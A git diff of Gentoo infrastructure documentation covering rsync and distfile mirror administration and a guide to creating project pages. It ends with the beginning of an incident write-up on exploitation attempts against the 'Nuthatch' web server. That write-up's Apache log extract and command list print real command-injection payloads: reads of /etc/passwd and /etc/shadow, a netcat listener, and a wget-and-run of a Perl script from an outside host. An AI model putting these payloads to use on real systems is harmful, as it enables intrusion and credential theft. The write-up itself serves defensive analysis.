+To ensure we can quickly and easily remove problematic rsync mirrors from our rotations, new entries should be created with a TTL of no longer than 20 minutes.
+</impo>
+<impo>
+DNS round robin rotations do <b>not</b> support the use of CNAMEs in rotations.  Any record in a round robin rotation must be an A record.
+</impo>
+<note>
+Because <c>rsync.gentoo.org</c> as well as <c>rsync.europe.gentoo.org</c>, <c>rsync.us.gentoo.org</c> and <c>rsync.namerica.gentoo.org</c> are getting full, mirror admins should use their discretion when adding servers to these rotations.  In general, only servers which support at least 25 users, have a 10Mbps connection to the internet and are on a server with sufficient resources should be added to these rotations.
+</note>
+<p>
+To create the entries, log into <uri link="https://www.ultradns.net">UltraDNS</uri> using the mirror administration account information and create the records via the web interface.
+</p>
+</body>
+</section>
+<section>
+<title>Adding Directional DNS</title>
+<body>
+<p>
+For the master rsync.gentoo.org rotation, we use Directional DNS to "target" specific sets of mirrors at users based on the location of their IP address.  While it is easiest to think of this feature as geo-location, it actually relies more on the user's network connection and its proximity to the various UltraDNS servers.  To enable the Directional DNS service, follow these steps:
+</p>
+<ul>
+	<li>Log into the <uri link="https://www.ultradns.net">UltraDNS</uri> administrative interface</li>
+	<li>Select the <c>rsync.gentoo.org</c> domain</li>
+	<li>Locate the record for which you wish to set up Directional DNS capabilities</li>
+	<li>Click on the spinning globe (either grey or blue) for that entry.  A pop-up screen will result</li>
+	<li>Select the servers for which UltraDNS should return that record as a result.  They should be geographically close to the physical location of the machine</li>
+	<li>Click <c>finished</c> to close out of the Directional DNS screen</li>
+</ul>
+<impo>
+Mirror administrators should periodically ensure that rsync.gentoo.org does not return too many records for any one particular set.  When there are more than approximately 22 records returned as part of a round robin set, it becomes larger than what UDP can handle.  This causes DNS to failover and try TCP instead.  This causes problems with users who have TCP port 53 blocked.
+</impo>
+</body>
+</section>
+<section>
+<title>Updating the iptables access list</title>
+<body>
+<p>
+Once the mirror candidate is up and functioning, the mirror administrator should update the entry in the rsync1.us.gentoo.org iptables access list to reflect the change.
+</p>
+<pre caption="Use vim and sudo to edit /etc/init.d/rsync">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+<pre caption="Move the entry in the Testing Mirrors section to the appropriate part of the file">
+#######
+#
+# TESTING MIRRORS
+# PUT MIRRORS THAT ARE IN THE TESTING PHASE HERE
+# MAKE SURE TO REFERENCE THE BUGZILLA # SO WE CAN TRACK THEM
+#
+######
+
+        #bug #12345
+         addMirror 192.168.1.1
+<comment>(delete the entry above and move it to the appropriate section below)</comment>
+[snip]
+
+# .us RSYNC MIRRORS
+
+        # rsync5.us     "Joe Admin &lt;joe@admin.com&gt;"
+		addMirror 192.168.1.1
+
+</pre>
+<note>Each entry should consist of at least two lines; a comment that references the server administrator and their email address as well as a line containing the actual access entry.  The access line <b>must</b> take the form of <c>addMirror &lt;ip address&gt;</c></note>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Updating an rsync mirror</title>
+<section>
+<body>
+<p>
+Updating an rsync mirror involves many of the same steps above, except there is no probationary period and the existing records are simply changed, rather than new records being added.
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Deleting an rsync mirror</title>
+<section>
+<body>
+<p>
+To delete an rsync mirror, simply complete the following steps:
+</p>
+<ul>
+	<li>Delete the entry in /etc/init.d/rsync on rsync1.us.gentoo.org</li>
+	<li>Manually delete the iptables entry on rsync1.us.gentoo.org</li>
+	<li>Delete all 5 records in UltraDNS</li>
+</ul>
+<pre caption="Deleting the entry from the existing itpables ruleset using sudo">
+# <i>sudo /sbin/iptables -D tcp_packets -p TCP -s &lt;ip address&gt;</i>
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirrors/index.xml b/xml/htdocs/proj/en/infrastructure/mirrors/index.xml
new file mode 100644
index 00000000..d4c094d3
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirrors/index.xml
@@ -0,0 +1,41 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/mirrors/index.xml,v 1.5 2010/07/29 17:04:23 darkside Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="index.xml">
+<title>Gentoo Infrastructure</title>
+<subtitle>Mirrors Page</subtitle>
+<author title="Author">
+   <mail link="mirror-admin@gentoo.org">Gentoo Linux Mirror Admins</mail>
+</author>
+<abstract>
+This page describes our mirroring infrastructure.
+</abstract>
+
+<version>1.0</version>
+<date>2010-07-29</date>
+<chapter>
+<title>Gentoo Mirrors Overview</title>
+<section>
+<body>
+<p>
+Gentoo Linux relies heavily upon its system of mirrors.  Currently, Gentoo has two different types of mirrors; <e>portage mirrors</e>, which mirror the Gentoo Linux portage tree, and <e>distfile mirrors</e>, which mirror the actual source tarballs for the packages that users install on their system.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mirror Documentation</title>
+<section>
+<body>
+<ul>
+	<li><uri link="/doc/en/rsync.xml">Setting up a new rsync mirror</uri></li>
+	<li><uri link="/doc/en/source_mirrors.xml">Setting up a new distfile mirror</uri></li>
+	<li><uri link="/proj/en/infrastructure/mirrors/overview-distfile.xml">Overview of our distfile mirror process flow. (Developer info)</uri></li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirrors/overview-distfile.xml b/xml/htdocs/proj/en/infrastructure/mirrors/overview-distfile.xml
new file mode 100644
index 00000000..712b7aca
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirrors/overview-distfile.xml
@@ -0,0 +1,222 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/infrastructure/mirrors/overview-distfile.xml">
+<title>Gentoo Distfile Mirroring System - Overview</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Author">
+    <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Contributor">
+    <mail link="zmedico@gentoo.org">Zach Medico</mail>
+</author>
+<author title="Contributor">
+    <mail link="ferringb@gentoo.org">Brian Harring</mail>
+</author>
+<author title="Contributor">
+    <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+
+<abstract>
+This guide describes how our distfile process flow works, including how a new
+tarball gets added to the distfile mirrors 
+</abstract>
+
+<version>1.2</version>
+
+<date>2008-06-25</date>
+
+<chapter>
+<title>Placing files on the Gentoo Mirror system</title>
+<section>
+<body>
+
+<p>
+The mirror system will automatically fetch any distfile that is in the ebuild tree.
+Developers don't have to do anything unless an error occurs. The mirror system is
+designed to propogate to all nodes within 4 hours of the files hitting the Master
+Private Dist Mirror using cron jobs to pull from the Master. Due to various issues
+the nodes may take as long as 24 hours for your file to propogate. If you suspect
+that your file is not being fetched simply check the
+<uri link="http://dev.gentoo.org/~zmedico/infra/distfiles/failure.xml">failure report</uri>.
+</p>
+ 
+<p>
+If you're ebuild contains <path>restrict="mirror"</path> the file will not be mirrored. The
+only exception to that is <path>mirror://gentoo/</path>. This is automatically done by
+the mirror system, no manual intervention is required.
+</p>
+
+<p>
+Files placed in <path>dev.gentoo.org:/space/distfiles-whitelist/current</path> will be retained
+for six months unless manually deleted earlier. Place any file that you want to be retained
+on the mirror system, even if no ebuild refers to it, here. Keep in mind that the mirror
+system will retain files for two weeks <e>after</e> it is last referred to in an
+ebuild so only use distfiles-whitelist if absolutely necessary.
+</p>
+
+<p>All entries in
+<path>dev.gentoo.org:/space/distfiles-whitelist/current</path> <b>MUST</b> come
+with a comment in the same format as <path>profiles/package.mask</path>.
+If you wish to whitelist a lot of files, you should create a seperate file in
+the same directory instead.</p>
+
+<note>
+Placing files in the distfiles-whitelist takes them out of the control of the Mirror
+System. If you remove the file the system will automatically take back
+control and clean the file like normal. Files are automatically removed from
+whitelist after six months.
+</note>
+
+</body>
+</section>
+<section>
+<title>
+Automatic fetch failure
+</title>
+<body>
+
+<p>
+When the automatic fetch fails it is the responsibility of the package maintainer
+to manually retrieve the file from the original location and place it in
+<path>/space/distfiles-local</path> on dev.gentoo.org. This file is published
+as an rsync directory, to which the private master distfile mirror connects to
+and retrieves any files in the directory.  These files are synchronized to
+<path>/home/distfiles/distfiles-local</path> on the private master distfile mirror.  From
+there, the <path>/home/distfiles/scripts/distsync.sh</path> runs every 30 minutes to synchronize
+<path>/home/distfiles/distfiles-local</path> and <path>/home/distfiles/distfiles</path> on the private
+master distfile mirror. Files placed in distfiles-local are automatically removed
+after two weeks and the Mirror System takes control of the file.
+</p>
+
+<warn>
+Files placed in distfiles-local will override existing files of the same name that
+already exist taking them out of the control of the Mirror
+System for the full two weeks that the file resides in distfiles-local.
+If you place a file here make sure that it does not already exist or breakage
+could occur.
+</warn>
+
+<p>
+The mirror system only downloads the first instance of a file name. If subsequent
+ebuilds reference this file name the checksums of the two URI's are compared, if
+they do not match the second file will not be fetched. The mirror system will
+produce an error and human intervention is required. Please check file names
+carefully.
+</p>
+
+<p>
+Common fetch errors:
+</p>
+
+<ul>
+  <li>URI port must be 80, 443, or 23</li>
+  <li>URI is malformed (mirrors:// is a common mistake, mirror:// is proper)</li>
+  <li>Mirror target isn't valid (doesn't specify a valid tier)</li>
+  <li>Checksum conflict with another ebuild in the tree - check your file name</li>
+  <li>Upstream host timeout while attempting to connect - Mirror System will reattempt
+      at next pass</li>
+  <li>Upstream host isn't valid - check your URL name.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Technical details and requirements</title>
+<section>
+<title>master private distfile mirror</title>
+<body>
+
+<p>
+Source tarballs are automatically fetched and placed on/removed from the mirror
+system and an exception report generated by three related scripts: <path>update_distfiles.sh</path>,
+<path>mirror-dist.sh</path> and <path>gen-report-xml.py</path>. These scripts run on
+osprey.gentoo.org. (all currently maintained by zmedico and ferringb).
+</p>
+ 
+<p>
+The master script is <path>/home/distfiles/scripts/update_distfiles.sh</path> and runs once every
+four hours via cron job. The <path>/home/distfiles/scripts/mirror-dist.sh</path> script maintains
+a database of the death and purgatory lists. The <path>/home/distfiles/scripts/gen-report-xml.py</path>
+script generates an xml file (<path>/home/distfiles/reports/failure.xml</path>) based on
+<path>/home/distfiles/logs/failure.log</path>.
+</p>
+
+<p>
+The master private distfile mirror needs a <path>distfiles</path> user account.  This
+account should be configured to run <path>/home/distfiles/distfiles/scripts/update_distfiles.sh</path> 
+every four hours. Files are placed in <path>/mnt/distfiles/distfiles</path> which is configured
+in <path>/etc/rsync/rsyncd.conf</path> to be available as an rsync module.  From there,
+gentoo.oregonstate.edu runs an hourly cron job that syncs this directory.
+gentoo.oregonstate.edu has a password-protected rsync module available, the
+information which is only distributed to official Gentoo distfile mirrors.  Each
+mirror should be synchronizing with this directory once every four hours.
+</p>
+
+<p>
+Items Required:
+</p>
+
+<ul>
+	<li>A <path>distfiles</path> user account on the private master distfile mirror</li>
+	<li>The <path>update_distfiles.sh</path>, <path>mirror-dist.sh</path> and 
+        <path>gen-report-xml.py</path> scripts</li>
+	<li><path>/mnt/distfiles/distfiles</path> configured as an rsync module</li>
+	<li>The necessary cron job set up to run the master script, update_distfiles.sh,
+        every four hours</li>
+</ul>
+
+<p>
+Step by Step
+</p>
+
+<ul>
+  <li>update_distfiles calls mirror-dist.sh</li>
+  <li>mirror-dist.sh calls ebuild which scans the tree and collects file/digest
+     pairs.</li>
+  <li>If the URI is a mirror, verify the mirror URI. If invalid, fail and write
+     an error in the fail log.</li>
+  <li>If an existing file is found on the mirror system it's checksum is verifed.
+     If it matches the file is used. If it fails the file is deleted.</li>
+  <li>Files that don't exist on the mirror system yet are downloaded from the source
+     URI's until the file is complete or all source URI's are exhausted.</li>
+  <li>Once all files are complete the death-watch database is updated by recursing
+     the tree and looking for any files that exist on the mirror system but do not
+     appear in any ebuild.</li>
+  <li>Any file that doesn't exist in an ebuild is added to death watch.</li>
+  <li>Any file with a death watch date of > two weeks is moved to purgatory.</li>
+  <li>Files in purgatory are removed after two weeks.</li>
+  <li>Exceptions to the death watch list can be added in <e>/space/distfiles-whitelist</e></li>
+  <li>Files removed from the whitelist are deleted from the mirror system as normal.</li>
+  <li>Dump stats</li>
+  <li><path>update_distfiles.sh</path> calls <path>gen-report-xml.py</path></li>
+  <li><path>gen-report-xml.py</path> creates a report from the stats.</li>
+  <li>The report is copied to http://dev.gentoo.org/~zmedico/infra/distfiles/failure.xml
+      via cronjob.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>dev.gentoo.org</title>
+<body>
+
+<ul>
+	<li><path>/space/distfiles-local</path> configured as an rsync module on dev.gentoo.org</li>
+	<li>An rsync command to synchronize <path>dev.gentoo.org::distfiles-local</path>
+        with <path>/home/distfiles/distfiles-local</path> on the private master distfile mirror.</li>
+	<li>The <path>distsync.sh</path> script</li>
+	<li>The necessary cron jobs set up to run the above scripts and commands at the
+     right times.</li>
+</ul>
+
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/mirrors/rsyncd.conf_pl.txt b/xml/htdocs/proj/en/infrastructure/mirrors/rsyncd.conf_pl.txt
new file mode 100644
index 00000000..c3196e92
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/mirrors/rsyncd.conf_pl.txt
@@ -0,0 +1,56 @@
+#!/usr/bin/perl
+
+# Script to regenerate a sample rsyncd.conf dynamically
+# with a `hosts deny=' line based on rsync.log.
+# Assumes daily rotation of logfile.
+
+# (C) Tim Haynes, <piglet{at}gentoo.org>, 2004
+# Redistributable under the terms of the GPL - see
+# <http://www.gnu.org/copyleft/gpl.html>
+
+print <<EOS;
+pid file = /var/run/rsyncd.pid
+motd file = /etc/rsync/rsyncd.motd
+syslog facility = local3
+log file = /var/log/rsync.log
+max connections = 5
+timeout = 180
+
+EOS
+
+open(F, "</var/log/rsync.log")
+  or die "Eek, problems opening logfile: $! $?\n";
+
+while(<F>) {
+  chomp; 
+  next unless /rsync on gentoo-portage/;
+  /rsync on gentoo-portage\/\* from .*\(([\d.]+)\)$/;
+  $hash{$1}++;
+}
+
+close(F)
+  or warn "Erkle, problems closing logfile: $! $?\n";
+
+@badhosts=grep {$hash{$_}>4} keys %hash;
+
+print "hosts deny = " . join (" " , @badhosts) . "\n"
+  if ($#badhosts>0); 
+
+print <<EOS
+use chroot = yes
+
+[gentoo-x86-portage]
+        path = /home/gentoo/rsync
+        comment = Gentoo Linux Portage tree
+	read only = true
+	uid = 65534
+	gid = 998
+
+[gentoo-portage]
+        path = /home/gentoo/rsync
+        comment = Gentoo Linux Portage tree 
+	read only = true
+	uid = 65534
+	gid = 998
+
+EOS
diff --git a/xml/htdocs/proj/en/infrastructure/new_proj.xml b/xml/htdocs/proj/en/infrastructure/new_proj.xml
new file mode 100644
index 00000000..44d04866
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/new_proj.xml
@@ -0,0 +1,80 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="new_proj.xml">
+<title>Gentoo Infrastructure -- Setting up new Project Pages</title>
+<subtitle>Main Page</subtitle>
+<author title="Author">
+   <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<abstract>
+This page explains how to set up new pages for top level projects within the Gentoo Linux project.
+</abstract>
+
+<version>0.1</version>
+<date>30 June 2003</date>
+<chapter>
+<title>Project Pages for the Gentoo Linux Project</title>
+<section>
+<body>
+<p>
+This document describes how to set up new project pages for the Gentoo Linux project.  It is geared towards top-level projects, but may be applicable to other projects as well.  This document presupposes the following conditions:
+</p>
+<ul>
+	<li>The user has set up a local copy of the gentoo repository.</li>
+	<li>The user is familiar with cvs in general and how Gentoo Linux uses cvs, specifically.</li>
+	<li>The user is familiar with basic XML and/or HTML syntax.</li>
+	<li>The user has emerged libxslt on their computer</li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>First Steps</title>
+<section>
+<title>Background information</title>
+<body>
+<p>
+Gentoo Linux uses guide-xml for its documentation format.  Users will need to familiarize themselves with guide-xml syntax.  Users should start with the <uri link="http://www.gentoo.org/doc/en/xml-guide.xml">Gentoo Linux XML Guide</uri> to learn basic syntax.
+</p>
+</body>
+</section>
+<section>
+<title>Create the new CVS directory and the default index page</title>
+<body>
+<p>
+Decide what your new project will be called and create the directory within your local CVS repository.
+</p>
+<pre caption="creating the initial directory">
+# <i>cd /home/cvsroot/gentoo/xml/htdocs/proj/en/</i>
+<comment>replace /home/cvsroot with your local CVS root path</comment>
+# <i>mkdir &lt;name of your directory&gt;</i>
+# <i>cvs add &lt;name of your directory&gt;</i>
+# <i>cd &lt;name of your directory&gt;</i>
+# <i>vim index.xml</i>
+<comment>create your document using guide-xml syntax and save it</comment>
+</pre>
+<impo>
+It is <b>critical</b> that you always run your documents through xmllint before committing to cvs.
+</impo>
+<pre caption="Using xmllint to validate your document">
+# <i>xmllint index.xml</i>
+<comment>fix any syntactical errors that xmllint identifies</comment>
+</pre>
+<p>
+Next, we commit the document to CVS.
+</p>
+<pre caption="commit the document">
+# <i>cvs add index.xml</i>
+# <i>cvs commit -m "your commit message here" index.xml</i>
+</pre>
+<p>
+At this point, your document has been committed to CVS.  It will show up on the web site at :20 past the hour during the scheduled update.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/apache-log-extract.txt b/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/apache-log-extract.txt
new file mode 100644
index 00000000..05b3251e
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/apache-log-extract.txt
@@ -0,0 +1,32 @@
+65.81.XXX.XXX - - [01/Aug/2007:15:56:29 +0000] "GET /similar/?package=app-i18n/man-pages-pl;uname$%7BIFS%7D-a; HTTP/1.1" 200 130801 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13"
+65.81.XXX.XXX - - [01/Aug/2007:15:57:36 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat$%7BIFS%7D/etc/passwd; HTTP/1.1" 200 130801 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13"
+72.25.XXX.XXX - - [01/Aug/2007:19:36:02 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat$%7BIFS%7D/etc/passwd; HTTP/1.1" 200 133064 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Paros/3.2.13"
+12.107.XXX.XXX - - [01/Aug/2007:19:37:02 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd; HTTP/1.1" 200 18716 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)"
+205.157.XXX.XXX - - [01/Aug/2007:19:37:50 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd; HTTP/1.1" 200 136315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)"
+12.107.XXX.XXX - - [01/Aug/2007:19:38:20 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd HTTP/1.1" 200 18716 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)"
+65.196.XXX.XXX - - [01/Aug/2007:19:38:40 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd; HTTP/1.1" 200 18716 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+72.25.XXX.XXX - - [01/Aug/2007:19:39:51 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd; HTTP/1.1" 200 18716 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+24.227.XXX.XXX - - [01/Aug/2007:19:41:54 +0000] "GET /similar/?package=app-i18n/man-pages-pl;wget${IFS}-O${IFS}/var/tmp/foo.pl${IFS}http://www.regimesyndicate.org/interrupt/foo.pl${IFS}&&${IFS}perl${IFS}/var/tmp/foo.pl${IFS}yourhost${IFS}listeningport; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+72.25.XXX.XXX - - [01/Aug/2007:19:45:16 +0000] "GET /similar/?package=app-i18n/man-pages-pl;nc${IFS}-l${IFS}-p${IFS}9876; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+24.227.XXX.XXX - - [01/Aug/2007:19:46:28 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd; HTTP/1.1" 200 18717 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+72.25.XXX.XXX - - [01/Aug/2007:19:47:13 +0000] "GET /similar/?package=app-i18n/man-pages-pl;which${IFS}nc; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+68.253.XXX.XXX - - [01/Aug/2007:19:47:14 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd; HTTP/1.1" 200 18717 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+72.25.XXX.XXX - - [01/Aug/2007:19:47:26 +0000] "GET /similar/?package=app-i18n/man-pages-pl;which${IFS}netcat; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+24.227.XXX.XXX - - [01/Aug/2007:19:48:13 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/passwd~; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+72.25.XXX.XXX - - [01/Aug/2007:19:49:37 +0000] "GET /similar/?package=app-i18n/man-pages-pl;which${IFS}nc; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+72.25.XXX.XXX - - [01/Aug/2007:19:49:50 +0000] "GET /similar/?package=app-i18n/man-pages-pl;which${IFS}bash; HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+72.25.XXX.XXX - - [01/Aug/2007:19:50:03 +0000] "GET /similar/?package=app-i18n/man-pages-pl;which${IFS}nc; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)"
+68.253.XXX.XXX - - [01/Aug/2007:19:50:20 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/shadow; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+68.253.XXX.XXX - - [01/Aug/2007:19:50:56 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat${IFS}/etc/motd; HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+72.25.XXX.XXX - - [01/Aug/2007:20:00:48 +0000] "GET /similar/?package=app-i18n/man-pages-pl;ls$%7BIFS%7D/home; HTTP/1.1" 200 133064 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Paros/3.2.13"
+65.196.XXX.XXX - - [01/Aug/2007:20:42:28 +0000] "GET /similar/?package=app-laptop/pommed;offset=50;cat${IFS}/etc/passwd HTTP/1.1" 200 24754 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+65.196.XXX.XXX - - [01/Aug/2007:20:43:35 +0000] "GET /similar/?package=app-laptop/pommed;offset=50;ls${IFS}-l HTTP/1.1" 200 23618 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+65.196.XXX.XXX - - [01/Aug/2007:20:44:50 +0000] "GET /similar/?package=app-laptop/pommed;offset=50;cat${IFS}similar.py HTTP/1.1" 200 25109 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+68.51.XXX.XXX - - [01/Aug/2007:22:23:26 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat$%7BIFS%7D/etc/passwd HTTP/1.1" 200 18016 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+68.45.XXX.XXX - - [01/Aug/2007:22:25:19 +0000] "GET /similar/?package=app-i18n/man-pages-pl;cat$%7BIFS%7D/etc/passwd HTTP/1.1" 200 18016 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+65.196.XXX.XXX - - [01/Aug/2007:22:32:26 +0000] "GET /similar/?package=app-admin/psmon;cat${IFS}/etc/passwd HTTP/1.1" 200 15802 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"
+65.196.XXX.XXX - - [06/Aug/2007:21:10:47 +0000] "GET /similar/?package=www-client/seamonkey-bin;uname$IFS-a HTTP/1.1" 200 22312 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+62.48.XXX.XXX - - [06/Aug/2007:21:16:03 +0000] "GET /similar/?package=www-client/seamonkey-bin;ls${IFS}-l HTTP/1.1" 200 22297 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
+68.12.XXX.XXX - - [07/Aug/2007:03:17:12 +0000] "GET /similar/?package=x11-misc/xcalib;df${IFS}-h HTTP/1.1" 200 10689 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070731 Firefox/2.0.0.6"
+64.81.XXX.XXX - - [07/Aug/2007:03:21:22 +0000] "GET /similar/?package=x11-misc/xcalib;echo${IFS}fuckme HTTP/1.1" 200 10526 "-" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
+
diff --git a/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/commands.txt b/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/commands.txt
new file mode 100644
index 00000000..625e3c21
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/commands.txt
@@ -0,0 +1,13 @@
+      1 cat /etc/motd
+      1 cat /etc/passwd~
+      1 cat /etc/shadow
+      1 cat similar.py
+      1 ls -l
+      1 ls /home
+      1 nc -l -p 9876
+      1 uname -a
+      1 wget -O /var/tmp/foo.pl http://www.regimesyndicate.org/interrupt/foo.pl && perl /var/tmp/foo.pl yourhost listeningport
+      1 which bash
+      1 which netcat
+      3 which nc
+     13 cat /etc/passwd
diff --git a/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/index.xml b/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/index.xml
new file mode 100644
index 00000000..e3bd916d
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/index.xml
@@ -0,0 +1,330 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/nuthatch-writeup/index.xml,v 1.1 2007/08/24 04:45:45 robbat2 Exp $ -->
+
+<guide link="/proj/en/infrastructure/nuthatch-writeup/nuthatch-writeup.xml" lang="en">
+<title>Analysis and Timeline of the Nuthatch exploitation attempts</title>
+
+<author title="Author">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Editor">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+
+<abstract>
+
+</abstract>
+
+<version>1.0</version>
+<date>2007-08-23</date>
+
+<chapter>
+<title>Affected Services</title>
+<section>
+<body>
+
+<p>
+Nuthatch hosted a number of non-critical, informative-only web services. It was
+not used for any development or distribution services. A very limited number of
+developers had access to the machine, and rarely used it.
+</p>
+
+<ul>
+    <li>
+        packages - Browsable index of packages in the Portage tree.
+    </li>
+    <li>
+        archives - Archives of the Gentoo mailing lists.
+    </li>
+    <li>
+        packagestest, archivestest - Test installations of packages and archives,
+        for testing new code and features.
+    </li>
